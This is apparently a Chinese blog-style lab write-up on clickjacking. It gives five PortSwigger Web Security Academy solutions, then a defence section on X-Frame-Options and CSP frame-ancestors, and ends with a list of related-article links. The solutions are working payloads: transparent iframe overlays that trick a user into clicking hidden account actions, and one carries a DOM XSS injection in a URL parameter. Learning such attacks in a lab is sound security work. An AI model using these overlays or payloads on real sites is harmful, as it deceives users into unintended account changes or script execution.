一、什么是点击劫持

点击劫持(Clickjacking)是一种利用Web页面层叠的透明图层技术的攻击方式。攻击者将有害的网站内容覆盖在一个看似无害的页面上,当用户点击看似无害页面时,实际上是触发了隐藏在下层的有害操作,如下载恶意软件、操纵用户账户等。

这种攻击方式通常被用于社交工程攻击、网络钓鱼以及其他种类的诈骗活动中。点击劫持攻击往往难以被用户察觉,因为用户认为他们点击了无害页面上的链接,而实际上却做了完全不同的事情。

二、利用方式

1、使用 CSRF 令牌保护的基本点击劫持

<style>iframe {position:relative;width:500px;height: 700px;#透明度opacity: 0.001;z-index: 2;}div {position:absolute;top:500px ;left: 59px;z-index: 1;}
</style>
#构造页面
<div>Click me</div>
#攻击页面
<iframe src="https://0a75006703037302c2f28a29008e001f.web-security-academy.net/my-account"></iframe>

2、使用从 URL 参数预填充的表单输入数据的点击劫持

<style>iframe {position:relative;width:500px;height: 700px;opacity: 0.001;z-index: 2;}div {position:absolute;top:450px ;left: 59px;z-index: 1;}
</style>
<div>Click me</div>
<iframe src="https://0a4f001a038b7f06c4cdac0b00160045.web-security-academy.net/my-account?email=edeeer@normal-user.net"></iframe>

3、​使用帧破坏脚本进行点击劫持​

sandbox="allow-forms" 表示在受到 sandbox 约束的 iframe 中允许表单提交。如果不设置此项,受到约束的 iframe 中的表单将无法提交。

<style>iframe {position:relative;width:500px;height: 700px;opacity: 0.001;z-index: 2;}div {position:absolute;top:450px ;left: 59px;z-index: 1;}
</style>
<div>Click me</div>
<iframe src="https://0ab700e70475ee95c127c62e00900017.web-security-academy.net/my-account?email=edeeer@normal-user.net" sandbox="allow-forms"></iframe>

4、利用点击劫持漏洞触发基于 DOM 的 XSS

<style>iframe {position:relative;width:500px;height: 900px;opacity: 0.001;z-index: 2;}div {position:absolute;top:795px ;left: 59px;z-index: 1;}
</style>
<div>Click me</div>
<iframe src="https://0ac1009e03c60905c1938589009800a3.web-security-academy.net/feedback/?name=<img src=1 onerror=print()>&email=1231@qq.com&subject=qweqw&message=sdfsdf" ></iframe>

5、多步骤点击劫持

<style>
iframe {position:relative;width:500px;height: 700px;opacity: 0.0001;z-index: 2;}.firstClick, .secondClick {position:absolute;top:500px;left:60px;z-index: 1;}.secondClick {top:290px;left:200px;}
</style>
<div class="firstClick">Click me firstfirst</div>
<div class="secondClick">Click me next</div>
<iframe src="https://0a7b00fe04eeb63ac01536df008d0055.web-security-academy.net/my-account" ></iframe>

三、防御方式

1、X-Frame-Options

X-Frame-Options 最初是在 Internet Explorer 8 中作为非官方响应标头引入的,并迅速被其他浏览器采用。标头为网站所有者提供了对 iframe 或对象的使用的控制。

浏览器不允许当前页面在任何情况下嵌入到任何网站中X-Frame-Options: deny

浏览器允许当前页面在相同域名下的网站中显示X-Frame-Options: sameorigin

浏览器允许当前页面在指定的 URI 下的网站X-Frame-Options: allow-from https://normal-website.com

2、 内容安全策略 (CSP)

内容安全策略 (CSP) 是一种检测和预防机制,通过控制浏览器中加载的内容针对 XSS 和点击劫持等攻击提供缓解措施。

CSP 的基本思想是允许网站所有者定义一份策略清单,明确指定允许哪些来源的内容被加载和执行,拒绝其余的来源。

CSP 可以通过 HTTP响应头中的 Content-Security-Policy 或者 X-Content-Security-Policy 字段来设置,其值为一段规则字符串,规则字符串由一个或多个指令组成,指令可以通过分号或逗号来分隔。

  • frame-ancestors:该指令用于限制哪些页面可以在 <frame>、<iframe>、<embed> 和 <object> 元素中嵌入该网站的内容。

    • Content-Security-Policy: frame-ancestors 'none';完全禁止其他网站嵌入该网站的内容。
    • Content-Security-Policy: frame-ancestors 'self’;允许在与当前页面相同域名网站中显示。
    • Content-Security-Policy: frame-ancestors normal-website.com;允许在指定白名单域名网站中显示。

其他配置:

  • qdefault-src:定义默认资源来源,如果某个资源没有指定来源,则会使用默认来源。
  • script-src:定义可信任的脚本来源。
  • style-src:定义可信任的样式表来源。
  • img-src:定义可信任的图片来源。
  • connect-src:定义可信任的XHR(XMLHttpRequest)来源。
  • frame-src:定义可信任的iframe来源。
  • font-src:定义可信任的字体来源。
  • media-src:定义可信任的音视频来源。

PortSwigger 点击劫持(Clickjacking)相关推荐

  1. 点击劫持ClickJacking

    原文:https://beenle-xiaojie.github.io/2019/01/07/ClickJacking/ 引言 当我们的页面嵌入到一个iframe中时,安全测试提出一个于我而言很新鲜的 ...

  2. web 点击劫持 X-Frame-Options

    原理解释 点击劫持,clickjacking,也被称为UI-覆盖攻击.这个词首次出现在2008年,是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼首创的. 它是通过覆盖不可见的框架误导受害者点击. 虽 ...

  3. web安全之点击劫持攻击(clickjack)

    点击劫持clickjack 点击劫持 (Clickjacking) 技术又称为界面伪装攻击 (UI redress attack ),是一种视觉上的欺骗手段.攻击者使用一个或多个透明的 iframe ...

  4. html 设置响应X-frame,X-Frame-Options(点击劫持)漏洞分析及web配置修复

    漏洞描述: 点击劫持(ClickJacking)是一种视觉上的欺骗手段.攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在网页上进行操作,此时用户将在不知情的情况下点击透明的ifram ...

  5. X-Frame-Options响应头防点击劫持

    文章目录 前言 点击劫持 恶意转账 刷点击量 防护手段 HTTP响应头 实际防护效果 漏洞的检测 HTTP标题 X-XSS-Protection 前言 在一些漏扫设备中经常会扫出一个低风险问题--&q ...

  6. Web安全之点击劫持(ClickJacking)

    目录 iframe覆盖 直接示例说明 解决办法 Apache配置: nginx配置: IIS配置: 图片覆盖 示例 解决办法 总结 点击劫持(ClickJacking)是一种视觉上的欺骗手段.大概有两 ...

  7. Clickjacking (UI redressing)点击劫持

    一.基础知识 1. 什么是Clickjacking 点击劫持是一种基于界面的攻击,通过点击诱骗网站中的其他内容,用户被诱骗实际点击了隐藏的可操作内容. 可能是电子邮件中的链接,引诱用户点击按钮即可赢得 ...

  8. 《白帽子讲web安全》第5章 点击劫持(ClickJacking)

    一.ClickJacking简介 点击劫持(ClickJacking):是一种视觉上的欺骗手段,攻击者使用一个透明的.不可见的iframe覆盖在网页上,并诱使用户在该网页上进行操作.(用户在不知情的情 ...

  9. 鼠标自动点击脚本_613个主流网站中发现点击劫持脚本

    香港中文大学.微软研究院.韩国首尔大学和宾夕法尼亚大学的研究人员对点击劫持进行了研究,发现有613个主流网站存在拦截用户点击的恶意脚本. Clickjacking即点击劫持,已经广泛应用于广告行业了, ...

最新文章

  1. Datawhale实验室
  2. PHP采集商家信息及采集方法概述(上)
  3. javascript date php date,JavaScript Date 知识浅析
  4. 优酷 米兔机器人_ONEBOT积木机器人上手评测,寓教于乐的反履机甲让孩子爱不释手...
  5. PHP 文件与目录操作
  6. node制作http服务器,NodeJS 搭建 HTTP 服务器
  7. 06-列空间和零空间
  8. SpringBoot笔记7:使用JavaMail结合RabbitMQ发送邮件
  9. Java基础入门(八)之面向对象二
  10. Java集合---概述(1)
  11. python格式化JSON结果打印
  12. 上机练习2 类与对象 pc cpu harddisk对象组合
  13. JAVA - 银行卡认证
  14. psm倾向得分匹配法举例_【计量地图】倾向得分匹配法(PSM)理论、操作与案例...
  15. 并行计算(三):并行计算效能的评估
  16. STM32f103系列和f107系列移植
  17. adb 不可以网络连接问题
  18. passwd_pro
  19. 关系数据理论(回顾关系模式、数据依赖、不规范的关系模式存在的问题、 函数依赖、非平凡函数依赖/平凡函数依赖、完全函数依赖/部分函数依赖定义、传递函数依赖,码)
  20. python123注册登录_用Python实现web端用户登录和注册功能的教程

热门文章

  1. 查询SAP表维护视图(Table Maintenance)对应的事务代码(T-CODE)
  2. 搭win建中转服务器,【图片】windows搭建服务器教程【异星工厂吧】_百度贴吧
  3. [心里有鬼大调查]看看你心仪的人与你真正想要的人是否一致? 并祝所有CSDN的会员三.八节 快乐!
  4. 柏拉图—苏格拉底悖论
  5. Device Tree语法(上)
  6. 三维重建工具001-——正确安装kaolin库并在SMR上运行
  7. PageHelper.startPage(pageNum, pageSize)相关问题(遇到问题解决后持续更新)
  8. python频谱分析_基于Python的频谱分析(一)
  9. 解读随机森林的决策树:揭示模型背后的奥秘
  10. 使用VS2010开发ActiveX(MFC)控件(2)——界面显示